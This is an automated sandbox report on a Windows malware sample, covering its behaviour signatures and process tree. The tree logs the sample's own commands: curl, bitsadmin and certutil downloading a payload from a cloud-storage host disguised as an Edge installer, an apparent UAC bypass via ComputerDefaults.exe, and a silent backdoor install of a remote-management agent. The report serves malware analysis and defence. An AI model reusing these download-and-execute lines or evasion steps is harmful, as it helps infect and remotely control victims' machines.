Overview

overview

8

Static

static

3

ARPHADUMP.dll

windows10-2004-x64

8

ARPHADUMP.dll

windows11-ltsc_2024-x64

8

KBDMLT48.dll

windows10-2004-x64

3

UTR_8718-9-2026.exe

windows10-2004-x64

8

UTR_8718-9-2026.exe

windows11-ltsc_2024-x64

7

UTR_8718-9...cx.lnk

windows10-2004-x64

3

UTR_8718-9...cx.lnk

windows11-ltsc_2024-x64

3

bcrypt.dll

windows10-2004-x64

3

dpmodemx.dll

windows10-2004-x64

3

Analysis

  • max time kernel
    262s
  • max time network
    302s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20260911-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20260911-enlocale:en-usos:windows10-2004-x64systemwindows
  • submitted
    22/09/2026, 14:55

Sharing

Copy URL Twitter E-mail
Report Analysis Logs

General

  • Target
    UTR_8718-9-2026.exe
  • Size 206KB
  • Sample260922-saqldagg73
  • SHA256 b2ee510d0b5012487dee143b459e4e2fcfb758960d3fe7ec4743552bc91be9e2
  • MD5 SHA1 SHA512 SSDEEP TLSH
Score
8/10
backdoordefense_evasiondiscoverydropperexecutionratspywaretrojan

Malware Config

Signatures

  • Download via BitsAdmin 1 TTPs 1 IoCs
    dropper
  • DCAgent remote management tool 2 IoCs

    DCAgent is part of ManageEngine, a remote administration tool that can be used as a backdoor

    backdoorrat
  • Modifies file permissions 1 TTPs 5 IoCs
    discovery
  • Badlisted process makes network request 4 IoCs

    Network request originating from process or tool commonly abused by malware.

  • Downloads MZ/PE file 2 IoCs
  • Enumerates connected drives 3 TTPs 45 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Looks up external IP address via web service 1 TTPs 6 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

    discovery
  • Checks computer location settings 2 TTPs 3 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Drops file in System32 directory 6 IoCs
  • Executes a VBScript file via the Windows Script Host. 1 TTPs 1 IoCs
    execution
  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

    discovery
  • Drops file in Program Files directory 64 IoCs
  • Drops file in Windows directory 25 IoCs
  • Executes dropped EXE 46 IoCs
  • Loads dropped DLL 64 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Executes a command shell one-liner 1 TTPs 4 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

    execution
  • Modifies trusted root certificate store through registry 1 TTPs 24 IoCs

    A root certificate was added, modified, or removed in the trusted certificate store registry paths.

    defense_evasion
  • System Location Discovery: System Language Discovery 1 TTPs 64 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

    discovery
  • Checks SCSI registry key(s) 3 TTPs 24 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Gathers system information 1 TTPs 1 IoCs

    Runs systeminfo.exe.

  • Modifies data under HKEY_USERS 64 IoCs
  • Modifies registry class 56 IoCs
  • Modifies system certificate store 2 TTPs 64 IoCs
    defense_evasionspywaretrojan
  • Runs net.exe
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of SetWindowsHookEx 2 IoCs
  • Suspicious use of WriteProcessMemory 63 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\UTR_8718-9-2026.exe
    "C:\Users\Admin\AppData\Local\Temp\UTR_8718-9-2026.exe"
    1⤵
    • System Location Discovery: System Language Discovery
    • Modifies registry class
    • Suspicious use of WriteProcessMemory
    PID:5280
    • C:\Windows\SysWOW64\cmd.exe
      /c "C:\Windows\System32\ComputerDefaults.exe"
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:5788
      • C:\Windows\SysWOW64\ComputerDefaults.exe
        C:\Windows\System32\ComputerDefaults.exe
        3⤵
        • System Location Discovery: System Language Discovery
        • Suspicious use of WriteProcessMemory
        PID:4920
        • C:\Users\Public\WindowsApps\561646.xhWs\OneDrive.Sync.Service.WebSocketClient.exe
          "OneDrive.Sync.Service.WebSocketClient.exe"
          4⤵
          • Executes dropped EXE
          • Loads dropped DLL
          • System Location Discovery: System Language Discovery
          • Modifies registry class
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of WriteProcessMemory
          PID:4084
          • C:\Windows\SysWOW64\cmd.exe
            /c "C:\Windows\System32\ComputerDefaults.exe"
            5⤵
            • System Location Discovery: System Language Discovery
            • Suspicious use of WriteProcessMemory
            PID:3668
            • C:\Windows\SysWOW64\ComputerDefaults.exe
              C:\Windows\System32\ComputerDefaults.exe
              6⤵
              • System Location Discovery: System Language Discovery
              • Suspicious use of WriteProcessMemory
              PID:3168
              • C:\ProgramData\dpgklFargWKkZzuqDxYVYNUyXZRdJtaf.LEp\WbAjSNflrENlqtBEDkOksDwHPcTtiqnK.oks.exe
                "WbAjSNflrENlqtBEDkOksDwHPcTtiqnK.oks.exe"
                7⤵
                • Enumerates connected drives
                • Executes dropped EXE
                • Loads dropped DLL
                • System Location Discovery: System Language Discovery
                • Suspicious use of AdjustPrivilegeToken
                • Suspicious use of SetWindowsHookEx
                PID:5008
          • C:\Windows\system32\curl.exe
            "C:\Windows\system32\curl.exe" -L -s -o "C:\Users\Admin\AppData\Local\Temp\MicrosoftEdge_X64_153.0.3157.719.exe" "https://gushilaona.oss-ap-southeast-5.aliyuncs.com/setup.exe"
            5⤵
              PID:4448
            • C:\Windows\system32\bitsadmin.exe
              "C:\Windows\system32\bitsadmin.exe" /transfer myJob_240776078 /download /priority foreground "https://gushilaona.oss-ap-southeast-5.aliyuncs.com/setup.exe" "C:\Users\Admin\AppData\Local\Temp\MicrosoftEdge_X64_153.0.3157.719.exe"
              5⤵
              • Download via BitsAdmin
              PID:744
            • C:\Windows\system32\certutil.exe
              "C:\Windows\system32\certutil.exe" -urlcache -split -f "https://gushilaona.oss-ap-southeast-5.aliyuncs.com/setup.exe" "C:\Users\Admin\AppData\Local\Temp\MicrosoftEdge_X64_153.0.3157.719.exe"
              5⤵
              • Downloads MZ/PE file
              PID:2624
            • C:\Users\Admin\AppData\Local\Temp\MicrosoftEdge_X64_153.0.3157.719.exe
              "C:\Users\Admin\AppData\Local\Temp\MicrosoftEdge_X64_153.0.3157.719.exe" /S /norestart
              5⤵
              • Checks computer location settings
              • Executes dropped EXE
              • Modifies registry class
              • Suspicious use of WriteProcessMemory
              PID:4612
              • C:\Windows\System32\WScript.exe
                "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\RarSFX0\SetUP.VBS"
                6⤵
                • Checks computer location settings
                • Executes a VBScript file via the Windows Script Host.
                • Suspicious use of WriteProcessMemory
                PID:5012
                • C:\Windows\System32\msiexec.exe
                  "C:\Windows\System32\msiexec.exe" /i "C:\Users\Admin\AppData\Local\Temp\RarSFX0\UEMSAgent.msi" TRANSFORMS="C:\Users\Admin\AppData\Local\Temp\RarSFX0\UEMSAgent.mst" ENABLESILENT=yes REBOOT=ReallySuppress INSTALLSOURCE=Manual SERVER_ROOT_CRT="C:\Users\Admin\AppData\Local\Temp\RarSFX0\DMRootCA-Server.crt" DS_ROOT_CRT="C:\Users\Admin\AppData\Local\Temp\RarSFX0\DMRootCA.crt" /qn /norestart /lv "C:\Users\Admin\AppData\Local\Temp\RarSFX0\Agentinstalllog.txt"
                  7⤵
                  • Suspicious use of AdjustPrivilegeToken
                  PID:2456
    • C:\ProgramData\dpgklFargWKkZzuqDxYVYNUyXZRdJtaf.LEp\WbAjSNflrENlqtBEDkOksDwHPcTtiqnK.oks.exe
      C:\ProgramData\dpgklFargWKkZzuqDxYVYNUyXZRdJtaf.LEp\WbAjSNflrENlqtBEDkOksDwHPcTtiqnK.oks.exe
      1⤵
      • Executes dropped EXE
      • Loads dropped DLL
      • System Location Discovery: System Language Discovery
      PID:5732
    • C:\Windows\system32\msiexec.exe
      C:\Windows\system32\msiexec.exe /V
      1⤵
      • Badlisted process makes network request
      • Enumerates connected drives
      • Drops file in System32 directory
      • Drops file in Program Files directory
      • Drops file in Windows directory
      • Modifies data under HKEY_USERS
      • Modifies registry class
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:3480
      • C:\Windows\syswow64\MsiExec.exe
        C:\Windows\syswow64\MsiExec.exe -Embedding D45E748A6E4A2E4F3F52A0C778A5335A
        2⤵
        • Loads dropped DLL
        • System Location Discovery: System Language Discovery
        PID:3720
      • C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\dcagentregister.exe
        "C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\dcagentregister.exe" -i dc
        2⤵
        • Drops file in Program Files directory
        • Drops file in Windows directory
        • Executes dropped EXE
        • Loads dropped DLL
        • Modifies trusted root certificate store through registry
        • System Location Discovery: System Language Discovery
        • Modifies data under HKEY_USERS
        • Modifies system certificate store
        • Suspicious use of WriteProcessMemory
        PID:5132
        • C:\Windows\SysWOW64\cmd.exe
          C:\Windows\system32\cmd.exe /c ""C:\Program Files (x86)\ManageEngine\UEMS_Agent\scripts\setAppPermission_Internal.bat" "C:\Program Files (x86)\ManageEngine\UEMS_Agent\logs\""
          3⤵
          • Executes a command shell one-liner
          • System Location Discovery: System Language Discovery
          • Suspicious use of WriteProcessMemory
          PID:4128
          • C:\Windows\SysWOW64\net.exe
            net session
            4⤵
            • System Location Discovery: System Language Discovery
            • Suspicious use of WriteProcessMemory
            PID:2248
            • C:\Windows\SysWOW64\net1.exe
              C:\Windows\system32\net1 session
              5⤵
                PID:2988
            • C:\Windows\SysWOW64\icacls.exe
              "C:\Windows\system32\icacls.exe" "C:\Program Files (x86)\ManageEngine\UEMS_Agent\logs\" /grant *S-1-5-18:(OI)(CI)F /T /Q /grant *S-1-5-32-544:(OI)(CI)F /T /Q
              4⤵
              • Modifies file permissions
              • System Location Discovery: System Language Discovery
              PID:4124
            • C:\Windows\SysWOW64\icacls.exe
              "C:\Windows\system32\icacls.exe" "C:\Program Files (x86)\ManageEngine\UEMS_Agent\logs\" /grant:r "VYPMRCYQ\Admin":(OI)(CI)F /T /Q
              4⤵
              • Modifies file permissions
              • System Location Discovery: System Language Discovery
              PID:5404
            • C:\Windows\SysWOW64\icacls.exe
              "C:\Windows\system32\icacls.exe" "C:\Program Files (x86)\ManageEngine\UEMS_Agent\logs\" /inheritance:r
              4⤵
              • Modifies file permissions
              • System Location Discovery: System Language Discovery
              PID:3628
            • C:\Windows\SysWOW64\icacls.exe
              "C:\Windows\system32\icacls.exe" "C:\Program Files (x86)\ManageEngine\UEMS_Agent\logs\" /remove:g "CREATOR OWNER" /T /Q /remove:g "BUILTIN\Users" /T /Q /remove:g *S-1-15-2-1 /T /Q
              4⤵
              • Modifies file permissions
              • System Location Discovery: System Language Discovery
              PID:2380
            • C:\Windows\SysWOW64\icacls.exe
              "C:\Windows\system32\icacls.exe" "C:\Program Files (x86)\ManageEngine\UEMS_Agent\logs\" /remove:g *S-1-5-11 /T /Q /remove:g *S-1-15-2-2 /T /Q
              4⤵
              • Modifies file permissions
              • System Location Discovery: System Language Discovery
              PID:3572
          • C:\Windows\SysWOW64\cmd.exe
            cmd.exe /c "7za.exe e "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\data\OSDetection.json.gz" -so>"C:\Program Files (x86)\ManageEngine\UEMS_Agent\\data\OSDetection.json""
            3⤵
            • Executes a command shell one-liner
            • Suspicious use of WriteProcessMemory
            PID:3832
            • C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\7za.exe
              7za.exe e "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\data\OSDetection.json.gz" -so
              4⤵
              • Executes dropped EXE
              • System Location Discovery: System Language Discovery
              PID:2444
          • C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\7za.exe
            7za e -mx9 "C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\agent_binaries.7z" -o"C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\" -y
            3⤵
            • Drops file in Program Files directory
            • Executes dropped EXE
            • System Location Discovery: System Language Discovery
            PID:5028
          • C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\7za.exe
            7za.exe e -aoa "C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\locale_resources.zip" -o"C:\Program Files (x86)\ManageEngine\UEMS_Agent\data\resources\"
            3⤵
            • Drops file in Program Files directory
            • Executes dropped EXE
            • System Location Discovery: System Language Discovery
            PID:4648
          • C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\dcstatusutil.exe
            "C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\dcstatusutil.exe" -install 22
            3⤵
            • Drops file in Program Files directory
            • Executes dropped EXE
            • Loads dropped DLL
            • System Location Discovery: System Language Discovery
            • Modifies data under HKEY_USERS
            PID:4428
          • C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\dcinventory.exe
            bin\dcinventory.exe -i postinstallation 0 1
            3⤵
            • Drops file in System32 directory
            • Drops file in Program Files directory
            • Drops file in Windows directory
            • Executes dropped EXE
            • Loads dropped DLL
            • Modifies trusted root certificate store through registry
            • System Location Discovery: System Language Discovery
            • Checks SCSI registry key(s)
            • Modifies data under HKEY_USERS
            • Modifies system certificate store
            • Suspicious use of WriteProcessMemory
            PID:620
            • C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\dcmetroapps.exe
              dcmetroapps.exe
              4⤵
              • Checks computer location settings
              • Executes dropped EXE
              • System Location Discovery: System Language Discovery
              PID:1776
          • C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\dcagentregister.exe
            "C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\dcagentregister.exe" -p dc
            3⤵
            • Drops file in Program Files directory
            • Drops file in Windows directory
            • Executes dropped EXE
            • Loads dropped DLL
            • System Location Discovery: System Language Discovery
            • Modifies data under HKEY_USERS
            • Modifies registry class
            • Suspicious use of WriteProcessMemory
            PID:1752
            • C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\dcpatchscan.exe
              bin\dcpatchscan.exe -y 1
              4⤵
              • Drops file in Program Files directory
              • Executes dropped EXE
              • Modifies data under HKEY_USERS
              • Suspicious use of WriteProcessMemory
              PID:4784
              • C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\7za.exe
                "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\bin\7za.exe" x -y "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\client-data\patch-resources\dcdriverupdates.dll.gz" *
                5⤵
                • Executes dropped EXE
                • System Location Discovery: System Language Discovery
                PID:836
              • C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\7za.exe
                "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\bin\7za.exe" x -y "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\client-data\patch-resources\dcdriverupdates.dll.gz" dcdriverupdates.dll
                5⤵
                • Executes dropped EXE
                • System Location Discovery: System Language Discovery
                PID:2828
              • C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\7za.exe
                "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\bin\7za.exe" x -y "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\client-data\patch-resources\dcpatchutils.dll.gz" *
                5⤵
                • Executes dropped EXE
                • System Location Discovery: System Language Discovery
                PID:1352
              • C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\7za.exe
                "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\bin\7za.exe" x -y "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\client-data\patch-resources\dcpatchutils.dll.gz" dcpatchutils.dll
                5⤵
                • Executes dropped EXE
                • System Location Discovery: System Language Discovery
                PID:4960
              • C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\7za.exe
                "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\bin\7za.exe" x -y "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\client-data\patch-resources\drvforceupdate.exe.gz" *
                5⤵
                • Executes dropped EXE
                • System Location Discovery: System Language Discovery
                PID:4708
              • C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\7za.exe
                "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\bin\7za.exe" x -y "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\client-data\patch-resources\drvforceupdate.exe.gz" drvforceupdate.exe
                5⤵
                • Executes dropped EXE
                • System Location Discovery: System Language Discovery
                PID:4508
                • C:\Windows\System32\Conhost.exe
                  \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                  6⤵
                    PID:2828
                • C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\7za.exe
                  "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\bin\7za.exe" x -y "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\client-data\patch-resources\patch-scan-data.xml.gz" *
                  5⤵
                  • Executes dropped EXE
                  • System Location Discovery: System Language Discovery
                  PID:4260
                • C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\7za.exe
                  "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\bin\7za.exe" x -y "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\client-data\patch-resources\patchutils.json.gz" *
                  5⤵
                  • Executes dropped EXE
                  • System Location Discovery: System Language Discovery
                  PID:1280
                • C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\7za.exe
                  "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\bin\7za.exe" x -y "superseded-tree-scan-data.7z" superseded-tree-scan-data.xml
                  5⤵
                  • Drops file in Program Files directory
                  • Executes dropped EXE
                  • System Location Discovery: System Language Discovery
                  PID:4928
                • C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\7za.exe
                  "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\bin\7za.exe" x -y "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\client-data\patch-resources\applications.xml.gz" *
                  5⤵
                  • Executes dropped EXE
                  • System Location Discovery: System Language Discovery
                  PID:2860
                • C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\7za.exe
                  "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\bin\7za.exe" x -y "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\client-data\patch-resources\hardware.json.gz" *
                  5⤵
                  • Executes dropped EXE
                  • System Location Discovery: System Language Discovery
                  PID:2064
                • C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\7za.exe
                  "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\bin\7za.exe" x -y "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\client-data\patch-resources\patchresource.xml.gz" *
                  5⤵
                  • Executes dropped EXE
                  • System Location Discovery: System Language Discovery
                  PID:5980
                • C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\7za.exe
                  "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\bin\7za.exe" x -y "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\client-data\patch-resources\patchtodepfiles.xml.gz" *
                  5⤵
                  • Executes dropped EXE
                  • System Location Discovery: System Language Discovery
                  PID:6020
                • C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\7za.exe
                  "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\bin\7za.exe" x -y "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\client-data\patch-resources\EPMErrorCodes.xml.gz" *
                  5⤵
                  • Executes dropped EXE
                  PID:1128
                • C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\7za.exe
                  "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\bin\7za.exe" x -y "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\client-data\patch-resources\patch-dependency-details.xml.gz" *
                  5⤵
                    PID:3988
                  • C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\7za.exe
                    "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\bin\7za.exe" x -y "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\client-data\patch-resources\ud-supported-patch-details.json.gz" *
                    5⤵
                      PID:3396
                    • C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\7za.exe
                      "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\bin\7za.exe" x -y "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\client-data\patch-resources\patchresource.json.gz" *
                      5⤵
                        PID:3676
                      • C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\7za.exe
                        "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\bin\7za.exe" x -y "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\client-data\patch-resources\applications.json.gz" *
                        5⤵
                          PID:4184
                        • C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\7za.exe
                          "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\bin\7za.exe" x -y "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\client-data\patch-resources\eol-service-packs.json.gz" *
                          5⤵
                            PID:228
                          • C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\7za.exe
                            "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\bin\7za.exe" x -y "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\client-data\patch-resources\os-servicing-data.json.gz" *
                            5⤵
                              PID:1388
                            • C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\7za.exe
                              "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\bin\7za.exe" x -y "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\client-data\vulnerable-resources\patchresource-vul.xml.gz" *
                              5⤵
                                PID:5088
                            • C:\Windows\SysWOW64\cmd.exe
                              C:\Windows\system32\cmd.exe /C systeminfo.exe > "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\logs\systeminfo.log"
                              4⤵
                              • Executes a command shell one-liner
                              • System Location Discovery: System Language Discovery
                              • Suspicious use of WriteProcessMemory
                              PID:4232
                              • C:\Windows\SysWOW64\systeminfo.exe
                                systeminfo.exe
                                5⤵
                                • System Location Discovery: System Language Discovery
                                • Gathers system information
                                PID:4488
                      • C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\dcagentservice.exe
                        "C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\dcagentservice.exe"
                        1⤵
                        • Executes dropped EXE
                        • Loads dropped DLL
                        • System Location Discovery: System Language Discovery
                        PID:3552
                      • C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\dcagentservice.exe
                        "C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\dcagentservice.exe"
                        1⤵
                        • Executes dropped EXE
                        • Loads dropped DLL
                        • Modifies data under HKEY_USERS
                        • Modifies registry class
                        • Suspicious use of WriteProcessMemory
                        PID:4516
                        • C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\CRU_Reporter.exe
                          CRU_Reporter.exe -RegisterCRU
                          2⤵
                          • Executes dropped EXE
                          • System Location Discovery: System Language Discovery
                          PID:3128
                        • C:\Program Files (x86)\ManageEngine\UEMS_Agent\dcconfig.exe
                          7 0 0
                          2⤵
                          • Drops file in Program Files directory
                          • Executes dropped EXE
                          • Loads dropped DLL
                          • System Location Discovery: System Language Discovery
                          • Modifies data under HKEY_USERS
                          PID:5208
                        • C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\dcusbsummary.exe
                          "C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\dcusbsummary.exe" -s ET_ENUM 9 2 "Unknown"
                          2⤵
                          • Drops file in Program Files directory
                          • Executes dropped EXE
                          • Loads dropped DLL
                          • System Location Discovery: System Language Discovery
                          • Checks SCSI registry key(s)
                          • Suspicious use of SetWindowsHookEx
                          • Suspicious use of WriteProcessMemory
                          PID:4752
                          • C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\dcusb64.exe
                            "C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\dcusb64.exe" -s 9
                            3⤵
                            • Executes dropped EXE
                            • Checks SCSI registry key(s)
                            PID:5744
                        • C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\dcstatusutil.exe
                          bin\dcstatusutil.exe RequestAgentSlotFromServer
                          2⤵
                          • Executes dropped EXE
                          • Loads dropped DLL
                          • Modifies data under HKEY_USERS
                          PID:3772
                        • C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\dcondemand.exe
                          "C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\dcondemand.exe"
                          2⤵
                          • Drops file in Program Files directory
                          • Executes dropped EXE
                          • Loads dropped DLL
                          • Modifies data under HKEY_USERS
                          PID:4316
                        • C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\dcswmeter.exe
                          "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\bin\dcswmeter.exe" -s ET_COL
                          2⤵
                          • Executes dropped EXE
                          • Loads dropped DLL
                          • System Location Discovery: System Language Discovery
                          PID:1204
                        • C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\dcinventory.exe
                          "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\bin\dcinventory.exe" -s prenotify
                          2⤵
                          • Executes dropped EXE
                          • Loads dropped DLL
                          • System Location Discovery: System Language Discovery
                          • Modifies data under HKEY_USERS
                          PID:5676
                        • C:\Program Files (x86)\ManageEngine\UEMS_Agent\dcconfig.exe
                          3 0 0
                          2⤵
                          • Drops file in Program Files directory
                          • Executes dropped EXE
                          • System Location Discovery: System Language Discovery
                          • Modifies data under HKEY_USERS
                          • Modifies registry class
                          • Suspicious use of WriteProcessMemory
                          PID:548
                          • C:\Program Files (x86)\ManageEngine\UEMS_Agent\dcconfig.exe
                            16
                            3⤵
                            • Drops file in Program Files directory
                            • Executes dropped EXE
                            • System Location Discovery: System Language Discovery
                            • Modifies data under HKEY_USERS
                            PID:3024
                          • C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\dcuploadlogs.exe
                            refresh
                            3⤵
                            • Executes dropped EXE
                            • System Location Discovery: System Language Discovery
                            • Modifies data under HKEY_USERS
                            PID:3636
                          • C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\7za.exe
                            "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\bin\7za.exe" x -y "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\data\OSDetection.json.gz" OSDetection.json
                            3⤵
                            • Executes dropped EXE
                            PID:3416
                          • C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\7za.exe
                            "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\bin\7za.exe" x -y "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\data\\OSDetection.json.gz" OSDetection.json
                            3⤵
                              PID:688
                            • C:\Windows\SysWOW64\cmd.exe
                              cmd.exe /c "7za.exe e "C:\Program Files (x86)\ManageEngine\UEMS_Agent\data\deployment-policies.xml6040.tmp" -so>"C:\Program Files (x86)\ManageEngine\UEMS_Agent\data\deployment-policies.xml6040.tmpnew""
                              3⤵
                              • Executes a command shell one-liner
                              PID:752
                              • C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\7za.exe
                                7za.exe e "C:\Program Files (x86)\ManageEngine\UEMS_Agent\data\deployment-policies.xml6040.tmp" -so
                                4⤵
                                  PID:4928
                              • C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\7za.exe
                                "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\bin\7za.exe" x -y "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\client-data\patch-resources\dcdriverupdates.dll.gz" dcdriverupdates.dll
                                3⤵
                                  PID:2772
                                • C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\7za.exe
                                  "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\bin\7za.exe" x -y "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\client-data\patch-resources\dcpatchutils.dll.gz" dcpatchutils.dll
                                  3⤵
                                    PID:4248
                                  • C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\7za.exe
                                    "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\bin\7za.exe" x -y "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\client-data\patch-resources\drvforceupdate.exe.gz" drvforceupdate.exe
                                    3⤵
                                      PID:4840
                                      • C:\Windows\System32\Conhost.exe
                                        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                        4⤵
                                          PID:6020
                                      • C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\7za.exe
                                        "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\bin\7za.exe" x -y "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\client-data\vulnerable-resources\misconfig-scan-data.xml.gz" *
                                        3⤵
                                          PID:1780
                                        • C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\7za.exe
                                          "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\bin\7za.exe" x -y "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\client-data\vulnerable-resources\component-details.json.gz" *
                                          3⤵
                                            PID:832
                                          • C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\7za.exe
                                            "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\bin\7za.exe" x -y "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\client-data\vulnerable-resources\vulnerable-patch-scan-data.xml.gz" *
                                            3⤵
                                              PID:4276
                                            • C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\7za.exe
                                              "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\bin\7za.exe" x -y "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\client-data\vulnerable-resources\patchresource-vul.xml.gz" *
                                              3⤵
                                                PID:1348
